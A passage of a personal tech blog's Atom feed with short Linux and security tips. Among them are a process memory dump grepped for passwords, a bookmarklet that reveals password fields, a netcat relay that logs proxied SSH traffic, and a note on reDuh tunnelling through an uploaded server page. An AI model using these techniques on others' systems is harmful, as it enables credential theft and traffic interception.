&lt;/pre&gt;&lt;br /&gt;
An example is below:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
root@family-desktop:/home/family# python py-ptrace.py 4808 &gt; mem.bin
root@family-desktop:/home/family# cat mem.bin | strings | grep -i pass
ftp_proxy_password
PASS %s
PASS anonymous@
Passthrough
password text
ATK_ROLE_PASSWORD_TEXT
password-text

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4983602637551623990?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4983602637551623990/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/reading-memory-from-processes-in-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4983602637551623990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4983602637551623990'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/reading-memory-from-processes-in-linux.html' title='Reading memory from processes in linux using python'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1080991144735042547</id><published>2012-01-13T04:43:00.001-08:00</published><updated>2012-01-13T05:02:32.166-08:00</updated><title type='text'>Ah long time no blogging</title><content type='html'>New changes in my life by God's grace&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1080991144735042547?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1080991144735042547/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/ah-long-time-no-blogging.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1080991144735042547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1080991144735042547'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/ah-long-time-no-blogging.html' title='Ah long time no blogging'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1292174016359630198</id><published>2011-11-23T05:17:00.000-08:00</published><updated>2011-11-23T05:17:20.091-08:00</updated><title type='text'>Use authbind to open sockets below port 1024 as non-root user in linux</title><content type='html'>Authbind tutorial is part of this article &lt;a href="http://www.debian-administration.org/articles/386"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Authbind is &lt;a href="http://www.chiark.greenend.org.uk/ucgi/~ijackson/cvsweb/authbind/"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1292174016359630198?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1292174016359630198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/11/use-authbind-to-open-sockets-below-port.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1292174016359630198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1292174016359630198'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/11/use-authbind-to-open-sockets-below-port.html' title='Use authbind to open sockets below port 1024 as non-root user in linux'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3943096950694838013</id><published>2011-11-15T07:17:00.000-08:00</published><updated>2011-11-15T07:17:34.604-08:00</updated><title type='text'>Built linux from scratch</title><content type='html'>Common mistakes:&lt;br /&gt;
&lt;br /&gt;
1. Build bash with bison and not with yacc to remove the inability to recognize $() issue&lt;br /&gt;
&lt;br /&gt;
2. To make sure that spawn ls works fine, in 6.13, execute the mount commands again (in case you  have forgotten)&lt;br /&gt;
&lt;br /&gt;
3. MPFR final run (include --gmp-dir=/usr)&lt;br /&gt;
&lt;br /&gt;
4. In case you are on an old kernel, remove --enable-kernel=&lt;whatever&gt; from the configure script in some places wherever it says "kernel too old" in config.log&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3943096950694838013?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3943096950694838013/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/11/built-linux-from-scratch.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3943096950694838013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3943096950694838013'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/11/built-linux-from-scratch.html' title='Built linux from scratch'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1074324140259610433</id><published>2011-11-04T02:46:00.000-07:00</published><updated>2011-11-04T02:46:17.686-07:00</updated><title type='text'>SSH without interactive password</title><content type='html'>Want to do ssh without interactive password but not using public key authentication?&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.cyberciti.biz/faq/noninteractive-shell-script-ssh-password-provider/"&gt;Here it is&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1074324140259610433?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1074324140259610433/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/11/ssh-without-interactive-password.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1074324140259610433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1074324140259610433'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/11/ssh-without-interactive-password.html' title='SSH without interactive password'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-8721223198961541209</id><published>2011-10-18T04:54:00.001-07:00</published><updated>2011-10-18T04:55:19.895-07:00</updated><title type='text'>Using curl to communicate with webdav server</title><content type='html'>&lt;pre name="code" class="Cpp"&gt;export USERPASS="yourUserName:yourPassword"
curl --user $USERPASS -T propfind_xml http://yourWebSite.com:yourPort/
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-8721223198961541209?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/8721223198961541209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/10/using-curl-to-communicate-with-webdav.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8721223198961541209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8721223198961541209'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/10/using-curl-to-communicate-with-webdav.html' title='Using curl to communicate with webdav server'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7080173818782982687</id><published>2011-09-30T04:54:00.000-07:00</published><updated>2011-09-30T04:55:07.189-07:00</updated><title type='text'>OpenSSL certificate formats cheet sheet</title><content type='html'>Original article &lt;a href="https://www.sslshopper.com/ssl-converter.html"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Reproduced below:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
PEM Format&lt;br /&gt;
&lt;br /&gt;
The PEM format is the most common format that Certificate Authorities issue certificates in. PEM certificates usually have extentions such as .pem, .crt, .cer, and .key. They are Base64 encoded ASCII files and contain "-----BEGIN CERTIFICATE-----" and "-----END CERTIFICATE-----" statements. Server certificates, intermediate certificates, and private keys can all be put into the PEM format.&lt;br /&gt;
&lt;br /&gt;
Apache and other similar servers use PEM format certificates. Several PEM certificates, and even the private key, can be included in one file, one below the other, but most platforms, such as Apache, expect the certificates and private key to be in separate files.&lt;br /&gt;
DER Format&lt;br /&gt;
&lt;br /&gt;
The DER format is simply a binary form of a certificate instead of the ASCII PEM format. It sometimes has a file extension of .der but it often has a file extension of .cer so the only way to tell the difference between a DER .cer file and a PEM .cer file is to open it in a text editor and look for the BEGIN/END statements. All types of certificates and private keys can be encoded in DER format. DER is typically used with Java platforms. The SSL Converter can only convert certificates to DER format. If you need to convert a private key to DER, please use the OpenSSL commands on this page.&lt;br /&gt;
PKCS#7/P7B Format&lt;br /&gt;
&lt;br /&gt;
The PKCS#7 or P7B format is usually stored in Base64 ASCII format and has a file extention of .p7b or .p7c. P7B certificates contain "-----BEGIN PKCS7-----" and "-----END PKCS7-----" statements. A P7B file only contains certificates and chain certificates, not the private key. Several platforms support P7B files including Microsoft Windows and Java Tomcat.&lt;br /&gt;
PKCS#12/PFX Format&lt;br /&gt;
&lt;br /&gt;
The PKCS#12 or PFX format is a binary format for storing the server certificate, any intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys.&lt;br /&gt;
&lt;br /&gt;
When converting a PFX file to PEM format, OpenSSL will put all the certificates and the private key into a single file. You will need to open the file in a text editor and copy each certificate and private key (including the BEGIN/END statments) to its own individual text file and save them as certificate.cer, CACert.cer, and privateKey.key respectively.&lt;br /&gt;
OpenSSL Commands to Convert SSL Certificates on Your Machine&lt;br /&gt;
&lt;br /&gt;
It is highly recommended that you convert to and from .pfx files on your own machine using OpenSSL so you can keep the private key there. Use the following OpenSSL commands to convert &lt;br /&gt;
SSL certificate to different formats on your own machine:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;OpenSSL Convert PEM

Convert PEM to DER

openssl x509 -outform der -in certificate.pem -out certificate.der

Convert PEM to P7B

openssl crl2pkcs7 -nocrl -certfile certificate.cer -out certificate.p7b -certfile CACert.cer

Convert PEM to PFX

openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile CACert.crt
OpenSSL Convert DER

Convert DER to PEM

openssl x509 -inform der -in certificate.cer -out certificate.pem
OpenSSL Convert P7B

Convert P7B to PEM

openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer

Convert P7B to PFX

openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer

openssl pkcs12 -export -in certificate.cer -inkey privateKey.key -out certificate.pfx -certfile CACert.cer
OpenSSL Convert PFX

Convert PFX to PEM

openssl pkcs12 -in certificate.pfx -out certificate.cer -nodes

&lt;/pre&gt;&lt;br /&gt;
If you need to convert a Java Keystore file to a different format, it usually easier to create a new private key and certificates but it is possible to convert a Java Keystore to PEM format.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7080173818782982687?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7080173818782982687/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/openssl-certificate-formats-cheet-sheet.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7080173818782982687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7080173818782982687'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/openssl-certificate-formats-cheet-sheet.html' title='OpenSSL certificate formats cheet sheet'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-5921442561553946598</id><published>2011-09-29T03:49:00.000-07:00</published><updated>2011-09-29T03:49:08.446-07:00</updated><title type='text'>Ext2 filesystem walkthrough</title><content type='html'>&lt;a href="http://files.myopera.com/suchindrac/files/ext2-walkthrough.pdf"&gt;Here&lt;/a&gt; is the ext2 file system walkthrough and &lt;a href="http://files.myopera.com/suchindrac/files/wxHexEditor-v0.11-Linux_i386.tar"&gt;here&lt;/a&gt; is a tool that you can use to edit disks in hexadecimal form&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-5921442561553946598?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/5921442561553946598/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/ext2-filesystem-walkthrough.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5921442561553946598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5921442561553946598'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/ext2-filesystem-walkthrough.html' title='Ext2 filesystem walkthrough'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-30587507884268321</id><published>2011-09-29T02:46:00.001-07:00</published><updated>2011-09-29T02:46:52.137-07:00</updated><title type='text'>How to create files with hexadecimal characters as names</title><content type='html'>&lt;pre name="code" class="Cpp"&gt;echo -n -e "\xd4\x03\x07\x07\x61\x61\x61\x61\x61\x61\x61" | xargs --null touch
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-30587507884268321?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/30587507884268321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/how-to-create-files-with-hexadecimal.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/30587507884268321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/30587507884268321'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/how-to-create-files-with-hexadecimal.html' title='How to create files with hexadecimal characters as names'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2851219867431379739</id><published>2011-09-26T01:26:00.000-07:00</published><updated>2011-09-26T01:26:33.719-07:00</updated><title type='text'>And now it is just 'duh'</title><content type='html'>&lt;a href="http://www.washingtonsblog.com/2011/09/the-federal-reserve-has-just-entered-the-counterespionage-era-and-will-be-monitoring-everything-written-about-it-anywhere-in-the-world.html"&gt;Social media monitored&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2851219867431379739?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2851219867431379739/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/and-now-it-is-just-duh.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2851219867431379739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2851219867431379739'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/and-now-it-is-just-duh.html' title='And now it is just &apos;duh&apos;'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1545457952301097209</id><published>2011-09-20T04:23:00.000-07:00</published><updated>2011-09-20T04:23:04.381-07:00</updated><title type='text'>Reduh</title><content type='html'>reDuh is actually a tool that can be used to create a TCP circuit through validly formed HTTP requests.&lt;br /&gt;
&lt;br /&gt;
Essentially this means that if we can upload a JSP/PHP/ASP page on a server, we can connect to hosts behind that server trivially&lt;br /&gt;
&lt;a href="http://www.sensepost.com/labs/tools/pentest/reduh"&gt;&lt;br /&gt;
Here is the tool&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1545457952301097209?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1545457952301097209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/reduh.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1545457952301097209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1545457952301097209'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/reduh.html' title='Reduh'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7806362197782210581</id><published>2011-09-16T04:01:00.001-07:00</published><updated>2011-09-16T04:06:40.132-07:00</updated><title type='text'>Javascript well known tricks</title><content type='html'>Go to any web page, clear the address bar, and paste this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;javascript:document.body.contentEditable='true'; document.designMode='on'; void 0

&lt;/pre&gt;&lt;br /&gt;
Revealing passwords in forms, on browser:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;javascript:(function(){var s,F,j,f,i; s = “”; F = document.forms; for(j=0; j &lt; F.length; ++j) { f = F[j]; for (i=0; i &lt;  f.length; ++i) { if (f[i].type.toLowerCase() == “password”) s += f[i].value + “n”; } } if (s) alert(“Passwords in forms on this page:nn” + s); else alert(“There are no passwords in forms on this page.”);})();

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7806362197782210581?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7806362197782210581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/editing-web-pages-to-make-them-look.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7806362197782210581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7806362197782210581'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/editing-web-pages-to-make-them-look.html' title='Javascript well known tricks'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4464683503499932724</id><published>2011-09-15T07:03:00.000-07:00</published><updated>2011-09-15T07:03:03.759-07:00</updated><title type='text'>Google Go</title><content type='html'>When I saw the following lines, I kind of wondered the concepts in the minds of people who wrote the back-end code for the same:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;type Page struct {
 Title string
 Body []byte
}

func (p *Page) save() os.Error {
 filename := p.Title + ".txt"
 return ioutil.WriteFile(filename, p.Body, 0600)
}

...

p1 := &amp;Page{Title: "TestPage", Body: []byte("This is a sample Page.")}
p1.save()

&lt;/pre&gt;&lt;br /&gt;
Its worthy language, but not sure about the size of executable code it generates&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4464683503499932724?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4464683503499932724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/google-go.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4464683503499932724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4464683503499932724'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/google-go.html' title='Google Go'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-511508121816000067</id><published>2011-09-12T06:20:00.000-07:00</published><updated>2011-09-14T02:18:54.188-07:00</updated><title type='text'>sssh someone is here</title><content type='html'>Tried writing an SSH client using just bash (as much as possible)&lt;br /&gt;
&lt;br /&gt;
Still not succeeding&lt;br /&gt;
&lt;br /&gt;
Here is the &lt;a href="http://ubuntuone.com/1HFafBKPcTcnBagmOopvhw"&gt;code&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Here is the &lt;a href="http://ubuntuone.com/2kUACmnLthXCTMLOpcX1uC"&gt;openssh debug version&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-511508121816000067?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/511508121816000067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/sssh-someone-is-here.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/511508121816000067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/511508121816000067'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/09/sssh-someone-is-here.html' title='sssh someone is here'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1780624343627306052</id><published>2011-08-28T22:38:00.000-07:00</published><updated>2011-08-28T23:01:15.509-07:00</updated><title type='text'>Netcat redirection</title><content type='html'>Redirection of traffic using netcat:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;killall -9 nc 
mknod proxypipe p
nc -k -l 85 0&amp;lt;proxypipe  | tee -a inflow | nc 10.112.48.140 22 | tee - a outflow 1&amp;gt;proxypipe&amp;

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1780624343627306052?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1780624343627306052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/08/netcat-redirection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1780624343627306052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1780624343627306052'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/08/netcat-redirection.html' title='Netcat redirection'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-5057250166055721718</id><published>2011-08-24T05:43:00.000-07:00</published><updated>2011-08-24T05:44:34.260-07:00</updated><title type='text'>The mirroring character and browser within a browser</title><content type='html'>Trick 1:&lt;br /&gt;
&lt;br /&gt;
Just found this &lt;a href="http://digitalpbk.blogspot.com/2006/11/fun-with-unicode-and-mirroring.html"&gt;article&lt;/a&gt; which speaks about something called mirroring character&lt;br /&gt;
&lt;br /&gt;
This is a character which when included in a html document, revereses the words after the character&lt;br /&gt;
&lt;br /&gt;
